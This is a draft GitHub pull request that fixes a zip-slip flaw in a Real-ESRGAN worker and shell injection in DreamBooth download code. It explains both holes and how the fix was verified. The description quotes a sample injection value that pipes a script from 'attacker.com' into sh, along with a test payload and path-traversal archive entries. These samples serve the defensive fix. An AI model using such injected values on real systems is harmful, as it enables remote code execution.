[WIP][SEC] SLS-310: fix zip-slip (Real-ESRGAN) and shell injection (DreamBooth)#30
Draft
jebenexer wants to merge 1 commit into
Conversation
- Real-ESRGAN: add safe_extract() to validate archive member paths before extraction, rejecting path traversal and symlink entries. Fixes zip-slip from untrusted data_url zip uploads. - DreamBooth: remove all shell=True subprocess calls in rp_custom_model.py (downloadmodel_lnk, downloadmodel_hf, selected_model), replacing shell string interpolation with argv lists. Adds URL-scheme validation on ckpt_link and org/repo slug validation on hf_model as defense in depth. Part of SLS-310. Dolly-Tuner and EveryDream unsafe model-load fixes are pending design input (see Linear ticket comments) and are not included in this PR.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Partial fix for SLS-310 — untrusted-input RCE vectors in serverless worker templates.
This PR covers the two fixes that are unambiguous / don't require further design input. It is intentionally WIP — the Dolly-Tuner and EveryDream unsafe model-load fixes are not included pending a design discussion with @jacob.cipar (see ticket comments) on whether to lock the loaded model at worker startup vs. a runtime allowlist.
What's fixed here
1. Real-ESRGAN zip-slip (
workers/Real-ESRGAN/handler.py)zip_ref.extractall(temp_dir)performed no validation on archive member paths. A malicious zip (reachable via the user-supplieddata_urljob input) containing entries like../../../etc/whatevercould write files outside the intended temp directory.Added
safe_extract(): resolves each member's target path and rejects any that would escapetemp_dir, and rejects symlink entries outright (a symlink can point outsidetemp_dirregardless of what its declared name looks like).Verified locally: benign zips still extract normally;
../../evil.txtand absolute-path entries are rejected with a clear error before any write happens.2. DreamBooth shell injection (
workers/DreamBooth-v1/docker_example/rp_custom_model.py)ckpt_linkandhf_model/hf_token(all job input) were interpolated directly intosubprocess.run(f"...", shell=True)calls indownloadmodel_lnkanddownloadmodel_hf. Sinceshell=Truehands the whole formatted string to/bin/sh -c, shell metacharacters in job input (;,`,$(),|) are interpreted as additional commands, e.g.ckpt_link = "https://x; curl attacker.com/payload.sh | sh".Changes:
shell=Trueeverywhere in this file (including thesedcall inselected_model, for consistency — noshell=Trueremains in the file).echo ... > .git/info/sparse-checkoutshell redirection with direct Python file I/O.ckpt_linkmust have anhttp(s)://scheme,hf_modelmust match anorg/reposlug pattern.Verified with an actual exploit attempt (not just unit assertions): planted a fake
gdownbinary onPATHthat logs its argv, ran the real code path withckpt_link = "https://x; touch /tmp/PWNED #", and confirmed (a)/tmp/PWNEDwas never created, and (b) the entire malicious string arrived as a single literal argv element togdown— proving the semicolon can no longer be interpreted as a shell command separator.Explicitly NOT in this PR
workers/Dolly-Tuner/rp_handler.py) —base_modeljob input flows unconstrained intofrom_pretrained(), which can pickle-deserialize (torch.load) arbitrary HF repo content. Pending decision: lock the loaded model at worker startup (equality-check job input against it) vs. allowlist +use_safetensors=True.resume_ckpt_url→from_pretrained), same pending decision.Both are tracked on the Linear ticket and will follow in this PR (or a follow-up) once resolved.
Testing
No existing test harness in this repo (only
test_input.jsonfixtures for runpod-python's local test runner). Given the security-sensitive nature of these changes, I wrote and ran targeted exploit-style verification scripts locally (see PR description above) rather than relying onpy_compilealone. Both touched files passpython3 -m py_compile.